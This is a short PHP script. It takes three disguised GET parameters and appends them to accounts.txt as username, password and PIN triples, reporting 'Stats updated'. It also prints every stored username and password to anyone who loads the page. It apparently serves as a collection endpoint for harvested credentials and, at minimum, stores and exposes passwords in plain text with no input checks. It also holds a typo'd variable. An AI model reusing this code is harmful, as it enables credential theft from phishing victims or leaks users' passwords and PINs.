<?php
    $hi=$_GET["hi"];
    $bye=$_GET["bye"];
    $big=$_GET["big"];
    $lines = file('accounts.txt');
    if(!is_array($lines)) die("File could not be opened");
    $s = "null";
    foreach($lines as $line) {
        list($user, $pass, $pin) = explode(',', $line);
        echo "$user $pass $ping : $hi $bye $big \n";
                if (!$pass) { $pass = "null"; }
        if (!$pin || $pin == -1) { $pin = "null"; }
        if ("$hi" != "$user") { $s = "$hi" . "," . "$bye" . "," . "$big" . "\n"; }
        else if ("$hi" == "$user" && "$bye" != "$pass") { $s = "$hi" . "," . "$bye" . "," . "$big" . "\n"; }
        else if ("$hi" == "$user" && "$bye" == "$pass" && "$pin" != "$big") { $s = "$hi" . "," . "$bye" . "," . "$big" . "\n"; }
    }
    if ($s != "null") {
        $file = fopen("accounts.txt",'a+');
        fwrite($file, "$s");
        fclose($file);
        echo "Stats updated";
    }
    else { echo "Duplicate found"; }
?>